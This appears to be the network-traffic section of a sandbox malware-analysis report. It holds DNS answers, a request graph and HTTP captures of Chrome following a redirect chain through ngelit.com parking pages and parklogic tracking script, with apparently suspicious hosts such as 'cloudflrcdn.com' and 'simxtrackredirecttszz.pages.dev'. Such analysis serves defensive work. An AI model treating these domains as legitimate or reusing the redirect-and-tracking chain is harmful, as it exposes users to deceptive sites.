May 24, 2024 00:52:06.498296022 CEST	1.1.1.1	192.168.2.5	0xbc49	No error (0)	tsyndicate.com		136.243.43.25	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:06.965986013 CEST	1.1.1.1	192.168.2.5	0xcf8	No error (0)	cdn.jmpcdn.com	cdn.jmpcdn.com.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:06.966011047 CEST	1.1.1.1	192.168.2.5	0x8530	No error (0)	cdn.jmpcdn.com	cdn.jmpcdn.com.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:07.907422066 CEST	1.1.1.1	192.168.2.5	0x8bd9	No error (0)	stats.g.doubleclick.net		74.125.206.154	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:07.907422066 CEST	1.1.1.1	192.168.2.5	0x8bd9	No error (0)	stats.g.doubleclick.net		74.125.206.156	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:07.907422066 CEST	1.1.1.1	192.168.2.5	0x8bd9	No error (0)	stats.g.doubleclick.net		74.125.206.157	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:07.907422066 CEST	1.1.1.1	192.168.2.5	0x8bd9	No error (0)	stats.g.doubleclick.net		74.125.206.155	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:07.998328924 CEST	1.1.1.1	192.168.2.5	0xe57d	No error (0)	cdn.jmpcdn.com	cdn.jmpcdn.com.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:08.043401003 CEST	1.1.1.1	192.168.2.5	0x2947	No error (0)	cdn.jmpcdn.com	cdn.jmpcdn.com.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:08.865528107 CEST	1.1.1.1	192.168.2.5	0x3078	No error (0)	stats.g.doubleclick.net		64.233.166.156	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:08.865528107 CEST	1.1.1.1	192.168.2.5	0x3078	No error (0)	stats.g.doubleclick.net		64.233.166.157	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:08.865528107 CEST	1.1.1.1	192.168.2.5	0x3078	No error (0)	stats.g.doubleclick.net		64.233.166.154	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:08.865528107 CEST	1.1.1.1	192.168.2.5	0x3078	No error (0)	stats.g.doubleclick.net		64.233.166.155	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:10.684459925 CEST	1.1.1.1	192.168.2.5	0xfccb	No error (0)	fauzi3.ngelit.com		69.16.230.42	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:11.835726023 CEST	1.1.1.1	192.168.2.5	0x338b	No error (0)	ww12.ngelit.com	726512.parkingcrew.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:11.892477989 CEST	1.1.1.1	192.168.2.5	0x18a2	No error (0)	ww12.ngelit.com	726512.parkingcrew.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:11.892477989 CEST	1.1.1.1	192.168.2.5	0x18a2	No error (0)	726512.parkingcrew.net		13.248.148.254	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:11.892477989 CEST	1.1.1.1	192.168.2.5	0x18a2	No error (0)	726512.parkingcrew.net		76.223.26.96	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:12.774516106 CEST	1.1.1.1	192.168.2.5	0x65a8	No error (0)	parking.parklogic.com		67.225.218.50	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:13.650276899 CEST	1.1.1.1	192.168.2.5	0xb028	No error (0)	d38psrni17bvxu.cloudfront.net		18.239.102.57	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:13.650276899 CEST	1.1.1.1	192.168.2.5	0xb028	No error (0)	d38psrni17bvxu.cloudfront.net		18.239.102.197	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:13.650276899 CEST	1.1.1.1	192.168.2.5	0xb028	No error (0)	d38psrni17bvxu.cloudfront.net		18.239.102.108	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:13.650276899 CEST	1.1.1.1	192.168.2.5	0xb028	No error (0)	d38psrni17bvxu.cloudfront.net		18.239.102.95	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:13.697741032 CEST	1.1.1.1	192.168.2.5	0xa4bb	No error (0)	ww12.ngelit.com	726512.parkingcrew.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:13.697741032 CEST	1.1.1.1	192.168.2.5	0xa4bb	No error (0)	726512.parkingcrew.net		13.248.148.254	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:13.697741032 CEST	1.1.1.1	192.168.2.5	0xa4bb	No error (0)	726512.parkingcrew.net		76.223.26.96	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:13.779831886 CEST	1.1.1.1	192.168.2.5	0xdf37	No error (0)	ww12.ngelit.com	726512.parkingcrew.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:13.918893099 CEST	1.1.1.1	192.168.2.5	0x5937	No error (0)	www.google.com		216.58.206.36	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:13.925944090 CEST	1.1.1.1	192.168.2.5	0xc166	No error (0)	www.google.com			65	IN (0x0001)	false
May 24, 2024 00:52:13.932271004 CEST	1.1.1.1	192.168.2.5	0xfba3	No error (0)	parking.parklogic.com		67.225.218.50	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:14.434762955 CEST	1.1.1.1	192.168.2.5	0xe667	No error (0)	d38psrni17bvxu.cloudfront.net		18.245.173.78	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:14.434762955 CEST	1.1.1.1	192.168.2.5	0xe667	No error (0)	d38psrni17bvxu.cloudfront.net		18.245.173.52	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:14.434762955 CEST	1.1.1.1	192.168.2.5	0xe667	No error (0)	d38psrni17bvxu.cloudfront.net		18.245.173.77	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:14.434762955 CEST	1.1.1.1	192.168.2.5	0xe667	No error (0)	d38psrni17bvxu.cloudfront.net		18.245.173.144	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:15.023816109 CEST	1.1.1.1	192.168.2.5	0x6682	No error (0)	www.adsensecustomsearchads.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:15.023816109 CEST	1.1.1.1	192.168.2.5	0x6682	No error (0)	www3.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:15.029442072 CEST	1.1.1.1	192.168.2.5	0x8fbf	No error (0)	www.adsensecustomsearchads.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:15.371721983 CEST	1.1.1.1	192.168.2.5	0xe6e6	No error (0)	www.adsensecustomsearchads.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:15.371721983 CEST	1.1.1.1	192.168.2.5	0xe6e6	No error (0)	www3.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:15.371731997 CEST	1.1.1.1	192.168.2.5	0x4993	No error (0)	www.adsensecustomsearchads.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:18.179358959 CEST	1.1.1.1	192.168.2.5	0x74d7	No error (0)	afs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:18.179358959 CEST	1.1.1.1	192.168.2.5	0x74d7	No error (0)	googlehosted.l.googleusercontent.com		172.217.18.1	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:18.179373026 CEST	1.1.1.1	192.168.2.5	0xb68e	No error (0)	afs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:20.247704029 CEST	1.1.1.1	192.168.2.5	0xa8ec	No error (0)	afs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:20.247704029 CEST	1.1.1.1	192.168.2.5	0xa8ec	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.193	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:20.268259048 CEST	1.1.1.1	192.168.2.5	0x2397	No error (0)	afs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:28.531016111 CEST	1.1.1.1	192.168.2.5	0xf9e5	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:28.531016111 CEST	1.1.1.1	192.168.2.5	0xf9e5	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
May 24, 2024 00:52:51.215939045 CEST	1.1.1.1	192.168.2.5	0xd5e2	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:52:51.215939045 CEST	1.1.1.1	192.168.2.5	0xd5e2	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

simxtrackredirecttszz.pages.dev

https:

telegram.org

statisticresearch.com

cloudflrcdn.com

tsyndicate.com

secretsafedomain.com

static.trafficjunky.com

stats.g.doubleclick.net

www.adsensecustomsearchads.com

afs.googleusercontent.com

fs.microsoft.com

simxtrack.com

ww12.ngelit.com

www.google.com

parking.parklogic.com

d38psrni17bvxu.cloudfront.net

fauzi3.ngelit.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49785	69.16.230.42	80	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 00:52:10.690460920 CEST	432	OUT	GET / HTTP/1.1 Host: fauzi3.ngelit.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 24, 2024 00:52:11.601334095 CEST	350	IN	HTTP/1.1 302 Moved Temporarily Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 Cache-Control: no-cache Content-Type: text/html; charset=UTF-8 Date: Thu, 23 May 2024 22:52:11 GMT Location: http://ww12.ngelit.com/?usid=18&utid=25970526717 Pragma: no-cache Connection: Keep-Alive X-Powered-By: PHP/5.4.16 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49787	13.248.148.254	80	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 00:52:11.898519993 CEST	455	OUT	GET /?usid=18&utid=25970526717 HTTP/1.1 Host: ww12.ngelit.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 24, 2024 00:52:12.516670942 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:52:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: nginx Vary: Accept-Encoding X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_eXaLPDhoQ3rN2+Xn5+FY7SA44PW4Sq25fD42/7wph9/KYxpaXwd/r00oKAgmrePRpoYRgOF8ltndng0fmGPGaw== Accept-CH: viewport-width Accept-CH: dpr Accept-CH: device-memory Accept-CH: rtt Accept-CH: downlink Accept-CH: ect Accept-CH: ua Accept-CH: ua-full-version Accept-CH: ua-platform Accept-CH: ua-platform-version Accept-CH: ua-arch Accept-CH: ua-model Accept-CH: ua-mobile Accept-CH-Lifetime: 30 X-Domain: ngelit.com X-Subdomain: ww12 Content-Encoding: gzip Data Raw: 31 36 64 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 5b e9 77 da 48 b6 ff 3c fe 2b 2a e4 8c 81 17 10 62 f3 46 94 0c 36 5e 13 f0 46 62 43 4e 5e 8e 90 0a 10 68 a1 25 61 96 1e ff ef ef 77 4b 0b 02 e3 9e ce 9c ce bc 2f e3 ee 80 54 55 77 a9 5b 77 ab 5b c5 fb 37 8d eb 93 76 e7 e6 94 0d 7d cb fc b0 f3 9e be 98 ae fa 6a 5e d5 7b a6 a3 8d c7 7c a1 a4 9a 67 b3 59 e3 b6 73 f5 c9 e9 5e 0e 9f b4 56 fd f6 f4 f8 f8 b6 de b8 9f d5 67 f7 f5 ab e3 fa e7 df a6 8d b3 d3 f6 e3 9d 2d 5f b8 72 b5 ff e5 66 ff f4 aa bd bf 3f ef d8 37 d6 5d 6f d2 5c 54 9e c6 07 9f 3a c6 85 3d 6e 4d b8 6e 8f ae eb ad 2b 4d 7d 6c 3c 6a 9f 6e af 5a b2 fd f8 a9 7b f5 79 bf ad 19 57 8d 83 ba 73 f1 f8 a9 58 3d 38 a9 cf 4e eb f5 5b 45 f9 c1 1f d5 cf 37 8d a1 73 5b 76 5b a5 77 8f 76 f5 dd 59 67 ff be 5e a9 dc 3c 54 ee 7f 2b 55 fb 8d 4a a9 b0 3f 9b 0c 0f 0b 9f 3a f3 89 fa 38 d3 0b ae 2c 3b 9f ea 03 cb e5 37 77 13 a7 73 37 b8 3e 3b 30 7d 5b b7 07 72 df 3a bf 39 57 67 8a 92 62 73 cb b4 3d 25 35 f4 fd c9 51 a1 30 9b cd a4 59 59 72 dc 41 a1 78 78 78 58 98 [TRUNCATED] Data Ascii: 16db[wH<+bF6^FbCN^h%awK/TUw[w[7v}j^{\|gYs^Vg-_rf?7]o\T:=nMn+M}l<jnZ{yWsX=8N[E7s[v[wvYg^<T+UJ?:8,;7ws7>;0}[r:9Wgbs=%5Q0YYrAxxxX<RTv$U{ONo/&<MI\|SiCL~ UH"U+'&'g?3l7T3i
May 24, 2024 00:52:12.518322945 CEST	1236	IN	Data Raw: 95 62 8e 79 43 d7 b0 c7 79 df c9 f7 0d 5f b1 9d 18 b7 6f f8 26 ff 60 0f b8 69 f8 92 e6 58 ef 0b 41 4b 30 05 cf 5f 98 9c 59 5c 37 54 25 e5 69 2e 17 93 94 54 0f 4c fe f0 7c d5 95 d9 ef 3b 7f eb a9 da 78 e0 3a 53 5b 3f 62 53 d7 cc a4 0b 05 bd 7c 30 Data Ascii: byCy_o&`iXAK0_Y\7T%i.TL\|;x:S[?bS\|0\(SI3w1c~r{+<v.pg$X<mkI71fl6<$,EL%=C=1q8Quy7\=ZMw^G{d6}KyvU'N
May 24, 2024 00:52:12.521720886 CEST	448	IN	Data Raw: 28 78 4f 83 77 d8 8d d6 7a aa c7 f7 2a b9 9b 8b 56 a9 bb 38 b6 d4 87 b9 77 73 af 8d ee 1a fa 69 4b be 2d 5f 2d 8e 97 fa 85 e9 75 db b2 d1 b5 e6 4f 9d c7 db bd cb 8b ab 49 b7 34 94 2f 8d e3 4a ef 61 3e d5 96 b2 a1 5e dc c9 5a c3 79 fa 5c d6 cb fa Data Ascii: (xOwzV8wsiK-_-uOI4/Ja>^Zy\Zn.O=5GYp[qy>4IQ?yR_^29_v~&'q>BR4\?VezZ'ys<<PnyEr}R/mif7M
May 24, 2024 00:52:12.525254011 CEST	1236	IN	Data Raw: bc 26 1e d7 90 85 82 0b 52 95 0d 8a 25 b9 54 61 27 ce 64 21 ec 56 62 ac 6e 9a ec 8e 36 b9 1e bb e3 d8 b4 3c 71 5d 82 b6 b8 85 0f e2 63 e7 3d 6a 3b 2e ef 2b a9 d5 ea 1f 3d 39 86 9e 91 b3 b5 14 73 ec 13 d3 d0 c6 58 25 c3 d6 9d 99 e4 4c b8 8d ba c8 Data Ascii: &R%Ta'd!Vbn6<q]c=j;.+=9sX%L5Tm!Q'c=?3"\|rp('rR=.99TO,^ZY$dQ(eT8v##(a%z$Arv"x*6++02_en5je[l
May 24, 2024 00:52:12.525269032 CEST	1236	IN	Data Raw: f0 d1 f7 14 00 91 b3 3c 13 45 66 1a ac ba 38 fa 42 ab 03 9a 16 22 6f 1b 5b 6d 0f 1d c2 c3 a6 51 0c a1 86 cf dc 1e f8 43 b4 56 e4 5c 3a d0 87 78 88 46 a9 9b 4f 3e e7 5f 90 17 63 a4 c9 70 f2 11 e4 d4 55 80 8f bc 66 5d f7 d0 21 9c ea 66 40 ee ed d3 Data Ascii: <Ef8B"o[mQCV\:xFO>_cpUf]!f@c^;:X&tj3k8P8;k~%~QN@pia,Fe`h]q"*LGJJ(OMNWxV2i;&JW-\y<M{wCL
May 24, 2024 00:52:12.525279045 CEST	1236	IN	Data Raw: 04 16 ee b6 b6 9a 7e 52 5c 22 15 7a 13 f6 c5 10 84 9c 6a c2 7d 24 fb 19 c2 1f 41 07 67 50 a9 f3 d3 76 2a 47 a7 cb b9 a0 9c 90 8d 56 26 44 84 8b 9c b6 9e 21 d1 43 2e 6b 2c af 61 fd 13 5c d3 b4 40 27 ce 0a 53 71 96 4e f7 39 b8 3b f2 10 47 3e 20 19 Data Ascii: ~R\"zj}$AgPvGV&D!C.k,a\@'SqN9;G> yfWpkZopG;aEjI.5K2P=8g[p5w~kRQ]aNPO>`L5sT,Fv)K*n-kEegxHG<M
May 24, 2024 00:52:12.532280922 CEST	29	IN	Data Raw: fc d2 48 5f e0 1e a3 f8 4d ed 87 9d ff 03 fc 2a b3 66 c5 3c 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: H_M*f<0
May 24, 2024 00:52:13.344208956 CEST	508	OUT	GET /track.php?domain=ngelit.com&toggle=browserjs&uid=MTcxNjUwNDczMi40MDEzOmJhMzRiY2Q0YTY5Y2I1ODg1Yzg4ZTJiZDg0NmRlYTc5YTUzZWMxMGEwMmY0MmU2ZjEzNGJiMTgyZTgzYzY5Zjk6NjY0ZmM4OWM2MWY5Mw%3D%3D HTTP/1.1 Host: ww12.ngelit.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://ww12.ngelit.com/?usid=18&utid=25970526717 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 24, 2024 00:52:13.631464005 CEST	608	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:52:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: nginx Vary: Accept-Encoding X-Custom-Track: browserjs Accept-CH: viewport-width Accept-CH: dpr Accept-CH: device-memory Accept-CH: rtt Accept-CH: downlink Accept-CH: ect Accept-CH: ua Accept-CH: ua-full-version Accept-CH: ua-platform Accept-CH: ua-platform-version Accept-CH: ua-arch Accept-CH: ua-model Accept-CH: ua-mobile Accept-CH-Lifetime: 30 Access-Control-Allow-Origin: * Content-Encoding: gzip Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 04 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140
May 24, 2024 00:52:13.653578043 CEST	391	OUT	GET /ls.php?t=664fc89c&token=dda1e75f0c57350d2d7f28c09d9ec469c70db1b0 HTTP/1.1 Host: ww12.ngelit.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://ww12.ngelit.com/?usid=18&utid=25970526717 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 24, 2024 00:52:13.903522968 CEST	860	IN	HTTP/1.1 201 Created Date: Thu, 23 May 2024 22:52:13 GMT Content-Type: text/javascript;charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: nginx Accept-CH: viewport-width Accept-CH: dpr Accept-CH: device-memory Accept-CH: rtt Accept-CH: downlink Accept-CH: ect Accept-CH: ua Accept-CH: ua-full-version Accept-CH: ua-platform Accept-CH: ua-platform-version Accept-CH: ua-arch Accept-CH: ua-model Accept-CH: ua-mobile Accept-CH-Lifetime: 30 Charset: utf-8 Access-Control-Allow-Origin: Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Max-Age: 86400 X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_XJReYriruz99ijUqEREEQ3hcUfCSUxVxd9MuC1kFC0aVREWBxALTY06EajkRyI9MrL8wDv/rS2LCPoYoSMg/tQ== Data Raw: 31 30 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 7d 0d 0a Data Ascii: 10{"success":true}
May 24, 2024 00:52:14.023480892 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 24, 2024 00:52:17.846879959 CEST	627	OUT	GET /track.php?domain=ngelit.com&caf=1&toggle=answercheck&answer=yes&uid=MTcxNjUwNDczMi40MDEzOmJhMzRiY2Q0YTY5Y2I1ODg1Yzg4ZTJiZDg0NmRlYTc5YTUzZWMxMGEwMmY0MmU2ZjEzNGJiMTgyZTgzYzY5Zjk6NjY0ZmM4OWM2MWY5Mw%3D%3D HTTP/1.1 Host: ww12.ngelit.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://ww12.ngelit.com/?usid=18&utid=25970526717 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: __gsas=ID=92b55ae556c71643:T=1716504736:RT=1716504736:S=ALNI_MbC761s07K7Y91R73mkAvtsJB0EBA
May 24, 2024 00:52:18.077146053 CEST	610	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:52:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: nginx Vary: Accept-Encoding X-Custom-Track: answercheck Accept-CH: viewport-width Accept-CH: dpr Accept-CH: device-memory Accept-CH: rtt Accept-CH: downlink Accept-CH: ect Accept-CH: ua Accept-CH: ua-full-version Accept-CH: ua-platform Accept-CH: ua-platform-version Accept-CH: ua-arch Accept-CH: ua-model Accept-CH: ua-mobile Accept-CH-Lifetime: 30 Access-Control-Allow-Origin: * Content-Encoding: gzip Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 04 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140
May 24, 2024 00:52:18.118017912 CEST	499	OUT	GET /favicon.ico HTTP/1.1 Host: ww12.ngelit.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://ww12.ngelit.com/?usid=18&utid=25970526717 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: __gsas=ID=92b55ae556c71643:T=1716504736:RT=1716504736:S=ALNI_MbC761s07K7Y91R73mkAvtsJB0EBA
May 24, 2024 00:52:18.317322969 CEST	230	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:52:18 GMT Content-Type: image/x-icon Content-Length: 0 Connection: keep-alive Server: nginx Last-Modified: Thu, 30 Nov 2023 13:41:22 GMT ETag: "65689102-0" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49788	67.225.218.50	80	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 00:52:12.825572968 CEST	349	OUT	GET /page/enhance.js?pcId=12&domain=ngelit.com HTTP/1.1 Host: parking.parklogic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://ww12.ngelit.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 24, 2024 00:52:13.329647064 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:52:13 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 X-Powered-By: PHP/5.4.16 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/javascript Data Raw: 34 32 32 0d 0a 2f 2f 20 53 63 72 69 62 65 2e 6a 73 20 2d 20 70 61 72 6b 69 6e 67 2e 70 61 72 6b 6c 6f 67 69 63 2e 63 6f 6d 0a 63 6f 6e 73 74 20 71 75 65 72 79 53 74 72 69 6e 67 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 0a 63 6f 6e 73 74 20 75 72 6c 50 61 72 61 6d 73 20 3d 20 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 71 75 65 72 79 53 74 72 69 6e 67 29 3b 0a 76 61 72 20 75 73 69 64 20 3d 20 75 72 6c 50 61 72 61 6d 73 2e 67 65 74 28 27 75 73 69 64 27 29 3b 0a 76 61 72 20 75 74 69 64 20 3d 20 75 72 6c 50 61 72 61 6d 73 2e 67 65 74 28 27 75 74 69 64 27 29 3b 0a 63 6f 6e 73 74 20 71 75 65 72 79 20 3d 20 75 72 6c 50 61 72 61 6d 73 2e 67 65 74 28 27 71 75 65 72 79 27 29 3b 0a 63 6f 6e 73 74 20 64 6f 6d 61 69 6e 4a 73 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 3b 0a 76 61 72 20 70 61 74 68 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 3b 0a 63 6f 6e 73 74 20 61 66 64 54 6f 6b 65 6e [TRUNCATED] Data Ascii: 422// Scribe.js - parking.parklogic.comconst queryString = window.location.search;const urlParams = new URLSearchParams(queryString);var usid = urlParams.get('usid');var utid = urlParams.get('utid');const query = urlParams.get('query');const domainJs = window.location.hostname;var path = window.location.pathname;const afdToken = urlParams.get('afdToken');const lp = (afdToken === null \|\| afdToken.length === 0) ? 1 : 2;const ss = typeof(Storage) !== 'undefined';if (ss) { sessionStorage.SessionName = 'Scribe'; if (lp === 1) { sessionStorage.setItem('usid', usid); sessionStorage.setItem('utid', utid); sessionStorage.setItem('path', path); } else { usid = sessionStorage.getItem('usid'); utid = sessionStorage.getItem('utid'); path = sessionStorage.getItem('path'); }}fetch(`http://parking.parklogic.com/page/scribe.php?pcId=12&domain=ngelit.com&pId=449&usid=${usid}&utid=${utid}&query=${query}&domainJs=${domainJs}&path=$
May 24, 2024 00:52:13.334357977 CEST	98	IN	Data Raw: 7b 70 61 74 68 7d 26 73 73 3d 24 7b 73 73 7d 26 6c 70 3d 24 7b 6c 70 7d 60 29 0a 20 20 2e 63 61 74 63 68 28 65 72 72 6f 72 20 3d 3e 20 7b 0a 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 45 72 72 6f 72 3a 27 2c 20 65 72 72 6f 72 29 3b Data Ascii: {path}&ss=${ss}&lp=${lp}`) .catch(error => { console.error('Error:', error); });0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49790	67.225.218.50	80	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 00:52:13.389300108 CEST	470	OUT	GET /page/scribe.php?pcId=12&domain=ngelit.com&pId=449&usid=18&utid=25970526717&query=null&domainJs=ww12.ngelit.com&path=/&ss=true&lp=1 HTTP/1.1 Host: parking.parklogic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Origin: http://ww12.ngelit.com Referer: http://ww12.ngelit.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
